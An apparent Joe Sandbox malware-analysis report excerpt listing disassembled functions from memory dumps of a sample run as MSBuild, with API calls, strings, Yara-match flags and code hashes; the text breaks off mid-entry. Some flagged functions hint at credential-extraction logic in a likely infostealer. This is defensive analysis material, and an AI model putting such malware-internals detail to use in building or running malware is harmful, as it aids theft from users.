Instruction Fuzzy Hash: 3111E775211244AFCB00AF58D444DD9B779FB8ABA8F500015EA0687F41CB79AC15CBB1

Function 6CBB0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBDAB89: EnterCriticalSection.KERNEL32(6CC2E370,?,?,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284), ref: 6CBDAB94
Part of subcall function 6CBDAB89: LeaveCriticalSection.KERNEL32(6CC2E370,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBDABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CBDD9F0,00000000), ref: 6CBB0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CBB0F3C
__Init_thread_footer.LIBCMT ref: 6CBB0F50
FreeLibrary.KERNEL32(?,6CBDD9F0,00000000), ref: 6CBB0F86

Strings

combase.dll, xrefs: 6CBB0F18
CoInitializeEx, xrefs: 6CBB0F36

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 728e62e586fde4a5107b36767f0961fb10fec59c4b075d559ae4b808b89d21c2
Instruction ID: 3b911bbc3a70c244e0a51903f16773427d8d80bd5aae658442eeec6bfa1c6873
Opcode Fuzzy Hash: 728e62e586fde4a5107b36767f0961fb10fec59c4b075d559ae4b808b89d21c2
Instruction Fuzzy Hash: 4811A5B57152949FDF00DF64DA18E6A37B4FB4B326F004239E905A2740EB3CA405CA56

Function 0041FB42 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041FB8B
DName::operator+.LIBCMT ref: 0041FB92
DName::DName.LIBCMT ref: 0041FBB4
DName::operator+.LIBCMT ref: 0041FBBB
DName::operator+.LIBCMT ref: 0041FBC2

Strings

throw(, xrefs: 0041FB83, 0041FBAC

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction ID: ba1955fdff4c252f9a606c57b8f1c9a48ddf06d7b75bf01b8414d0fb9b5eadfe
Opcode Fuzzy Hash: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction Fuzzy Hash: E4015B34600209EFCF04DF64D856DED7BB5EF44749F50407AF50597292DA78EA8AC748

Function 6CBEF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBB4A68), ref: 6CBE945E
Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBE9470
Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBE9482
Part of subcall function 6CBE9420: __Init_thread_footer.LIBCMT ref: 6CBE949F

GetCurrentThreadId.KERNEL32 ref: 6CBEF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBEF561

Part of subcall function 6CBE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CBE94EE
Part of subcall function 6CBE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CBE9508

GetCurrentThreadId.KERNEL32 ref: 6CBEF577
AcquireSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEF585
ReleaseSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CBEF239
[I %d/%d] profiler_pause_sampling, xrefs: 6CBEF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CBEF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CBEF499

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 94fb2728a3ecd436c8a74493d465a0e19aadc380c144c86ababf17bb3cb0ba9a
Instruction ID: 035000f19bbe99ba35388e7a153a36084d0fc937e3be9201532cc03f715e6864
Opcode Fuzzy Hash: 94fb2728a3ecd436c8a74493d465a0e19aadc380c144c86ababf17bb3cb0ba9a
Instruction Fuzzy Hash: F7F0B4756102049FDB106F64D85899A77BCEB8A6EDF000015FA0683701DBB95C04C771

Function 6CBE05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CBDCFAE,?,?,?,6CBA31A7), ref: 6CBE05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CBDCFAE,?,?,?,6CBA31A7), ref: 6CBE0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CBA31A7), ref: 6CBE061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CBA31A7), ref: 6CBE0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CBE061B, 6CBE0625
<jemalloc>, xrefs: 6CBE05FA, 6CBE060F

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 7a96227c93d08dcc9396ad2f137e3ae3aedc098691c981804dc553040db4114e
Instruction ID: cbd8808aa4bad3139133f440a80fb2fe1212334113e7bc1f5ea801c605ed5e96
Opcode Fuzzy Hash: 7a96227c93d08dcc9396ad2f137e3ae3aedc098691c981804dc553040db4114e
Instruction Fuzzy Hash: F7E08CE2A0505037F5142256AC86DFB761CDBC6134F080039FD0D82701F94AAD1AA1F6

Function 6CBB05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2159b36f91e590528ab6ac90770d1900af9a41f9272d6623674e5d16c04e8b84
Instruction ID: 4a628f3d72d4ac3a52f81df6223ca937e72d135c1396b36878d1a01f35a81ea2
Opcode Fuzzy Hash: 2159b36f91e590528ab6ac90770d1900af9a41f9272d6623674e5d16c04e8b84
Instruction Fuzzy Hash: 20A13AB0A007858FDB14CF29D694AA9FBF1FF49304F44866ED44AA7B01EB30A945CF91

Function 6CC014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC014E2
GetCurrentThreadId.KERNEL32 ref: 6CC01546
InitializeConditionVariable.KERNEL32(?), ref: 6CC015BA
free.MOZGLUE(?), ref: 6CC016B4

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 441225b538a56f27c8cf48e065e5fe0f12f6c1c03760a159481c970fbcc5b30f
Instruction ID: 8aba87ee9f7c7ea64dd4afb7c55d9d1daeb6717123bb9d5e8ec6dae662807f61
Opcode Fuzzy Hash: 441225b538a56f27c8cf48e065e5fe0f12f6c1c03760a159481c970fbcc5b30f
Instruction Fuzzy Hash: 6161E172A007549FDB118F29C880BDEB7B5BF8A308F44851CED8A57711EB35E949CB91

Function 6CBFDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBFDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CBFD38A,?), ref: 6CBFDC6F
free.MOZGLUE(?,?,?,?,?,6CBFD38A,?), ref: 6CBFDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CBFD38A,?), ref: 6CBFDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CBFD38A,?), ref: 6CBFDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CBFD38A,?), ref: 6CBFDD4A

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: d808a3e6a11d46e16ea4fc9ce81c65ed84b6c6f943990817ade940b8b499b265
Instruction ID: a44f2d929ecd8a591cd4dd61c9eb04af75b9f61365eb1307c1bfb25ffbef68d4
Opcode Fuzzy Hash: d808a3e6a11d46e16ea4fc9ce81c65ed84b6c6f943990817ade940b8b499b265
Instruction Fuzzy Hash: 87419DB5A00255CFCB00CFA9D89099EB7F5FF88314B654569D956ABB10D731FC09CBA0

Function 6CBE6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CBDFA80: GetCurrentThreadId.KERNEL32 ref: 6CBDFA8D
Part of subcall function 6CBDFA80: AcquireSRWLockExclusive.KERNEL32(6CC2F448), ref: 6CBDFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBE6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CBE67C8

Part of subcall function 6CBF4290: memcpy.VCRUNTIME140(?,?,6CC02003,6CC00AD9,?,6CC00AD9,00000000,?,6CC00AD9,?,00000004,?,6CC01A62,?,6CC02003,?), ref: 6CBF42C4

Strings

data, xrefs: 6CBE6593

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: cb91ae61061a4de8897372967140fc845f403f7589907e2df77fa99212e0201c
Instruction ID: 80acdab4ccfd66b605de44b6e403d620354584ada252ab0b0f03d8aa6f6280d2
Opcode Fuzzy Hash: cb91ae61061a4de8897372967140fc845f403f7589907e2df77fa99212e0201c
Instruction Fuzzy Hash: 7CD1DE75A083848FD724CF25C851B9FB7F5AFC9348F10892DE58997B50EB30A849CB92

Function 6CBFCCF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CBEDA31,00100000,?,?,00000000,?), ref: 6CBFCDA4

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

Part of subcall function 6CBFD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CBFCDBA,00100000,?,00000000,?,6CBEDA31,00100000,?,?,00000000,?), ref: 6CBFD158
Part of subcall function 6CBFD130: InitializeConditionVariable.KERNEL32(00000098,?,6CBFCDBA,00100000,?,00000000,?,6CBEDA31,00100000,?,?,00000000,?), ref: 6CBFD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CBEDA31,00100000,?,?,00000000,?), ref: 6CBFCDC4

Part of subcall function 6CBF7480: ReleaseSRWLockExclusive.KERNEL32(?,6CC015FC,?,?,?,?,6CC015FC,?), ref: 6CBF74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CBEDA31,00100000,?,?,00000000,?), ref: 6CBFCECC

Part of subcall function 6CBBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CBBCAA2

Part of subcall function 6CBECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CBFCEEA,?,?,?,?,00000000,?,6CBEDA31,00100000,?,?,00000000), ref: 6CBECB57
Part of subcall function 6CBECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CBECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CBFCEEA,?,?), ref: 6CBECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CBEDA31,00100000,?,?,00000000,?), ref: 6CBFD058

Strings

pUiQNbavpbyRS79r3qKCNrL159fSpdO8U6Zqms3emW0u6a37/AMMnrt9cHitjcCSARkdR6V5s4Rg7Si18/wDgHtwnKavGSfy/4J534tsnks4tVaC2USMqrLBPvEgIJB+6AeB1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6Ul, xrefs: 6CBFCD2C

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID: pUiQNbavpbyRS79r3qKCNrL159fSpdO8U6Zqms3emW0u6a37/AMMnrt9cHitjcCSARkdR6V5s4Rg7Si18/wDgHtwnKavGSfy/4J534tsnks4tVaC2USMqrLBPvEgIJB+6AeB1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6Ul
API String ID: 861561044-1050698916
Opcode ID: 6193da7264baf94a10d01d437b725e7a5873dd48baeae6d918aa1b8ad1248df9
Instruction ID: cd9be831aecfeac91aaec6871de879ebb5210269101924481db276ada6d399fc
Opcode Fuzzy Hash: 6193da7264baf94a10d01d437b725e7a5873dd48baeae6d918aa1b8ad1248df9
Instruction Fuzzy Hash: E9D16E71A04B469FD718CF38C490799F7F1BF89304F01866DD86987712EB71A9AACB81

Function 0041210E Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000000,?,?,?,00413794,00000000,00000010), ref: 00412119
lstrcpynA.KERNEL32(C:\Users\user\Desktop\,?,00000000,?), ref: 00412132
lstrlenA.KERNEL32(?), ref: 00412144
wsprintfA.USER32 ref: 00412156

Strings

C:\Users\user\Desktop\, xrefs: 0041212C, 00412131
%s%s, xrefs: 00412150

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-4107738187
Opcode ID: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction ID: 2b65b01ea0560ea7e18c8daf8da5e1637e4a778ce13f385dfd922e5b6f13eae1
Opcode Fuzzy Hash: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction Fuzzy Hash: 83F0E9322002157FDF091F99DC48D9B7FAEDF45666F000061F908D2211C6775F1586E5

Function 6CBDD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CBAEB57,?,?,?,?,?,?,?,?,?), ref: 6CBDD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CBAEB57,?), ref: 6CBDD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CBAEB57,?), ref: 6CBDD673
free.MOZGLUE(?), ref: 6CBDD888

Strings

|Enabled, xrefs: 6CBDD81E

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: b37904c3043feb1be9770f287a9eb5d8d6e87df1f55f31c01ce3e8ecc357162f
Instruction ID: 3aaf542bb2d2e0acc4e40ae0f904a0486291d5bb0332d4469ffa60824ca4f583
Opcode Fuzzy Hash: b37904c3043feb1be9770f287a9eb5d8d6e87df1f55f31c01ce3e8ecc357162f
Instruction Fuzzy Hash: 3EA1F2B0A042889FDB11CF79D490BAEBBF1EF49318F19805CD899AB741D735A845CBA1

Function 0040826D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00408307
LocalAlloc.KERNEL32(00000040,-0000001F,00000000,?,?), ref: 0040833C

Strings

ERROR_RUN_EXTRACTOR, xrefs: 004082BE
v10, xrefs: 004082CE
v20, xrefs: 00408286

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 52611349-380572819
Opcode ID: c583a5af4eabbf2f1e55903ac08c2fc38dd49fb6c7cace8cd31f54493459c540
Instruction ID: 4271a2f96582835c92d1499e44d2f9be6f2f81c30510370fac18fcb9411d570f
Opcode Fuzzy Hash: c583a5af4eabbf2f1e55903ac08c2fc38dd49fb6c7cace8cd31f54493459c540
Instruction Fuzzy Hash: 5541B3B2A00108ABCF10DFA5CD42ADE7BB8AB84714F15413BFD40F7280EB78D9458B99

Function 6CBDF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CBDF480

Part of subcall function 6CBAF100: LoadLibraryW.KERNEL32(shell32,?,6CC1D020), ref: 6CBAF122
Part of subcall function 6CBAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBAF132

CloseHandle.KERNEL32(00000000), ref: 6CBDF555

Part of subcall function 6CBB14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CBB1248,6CBB1248,?), ref: 6CBB14C9
Part of subcall function 6CBB14B0: memcpy.VCRUNTIME140(?,6CBB1248,00000000,?,6CBB1248,?), ref: 6CBB14EF

Part of subcall function 6CBAEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CBAEEE3

CreateFileW.KERNEL32 ref: 6CBDF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CBDF523

Strings

\oleacc.dll, xrefs: 6CBDF4CB

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 146babbf6f6fd31c33f519aff5e10887b330b6c86f73eb0418e03d0291c20ec5
Instruction ID: eeb03ceabc643841954742d814c1967213c55e6935429d8806359d9d4462c99c
Opcode Fuzzy Hash: 146babbf6f6fd31c33f519aff5e10887b330b6c86f73eb0418e03d0291c20ec5
Instruction Fuzzy Hash: 0441BC306287909FE720DF69C884B9BB7F4EF85318F104A1CF59593650EB34E949CB92

Function 0041C0D9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98timeCOMMON

Download Yara Rule

APIs

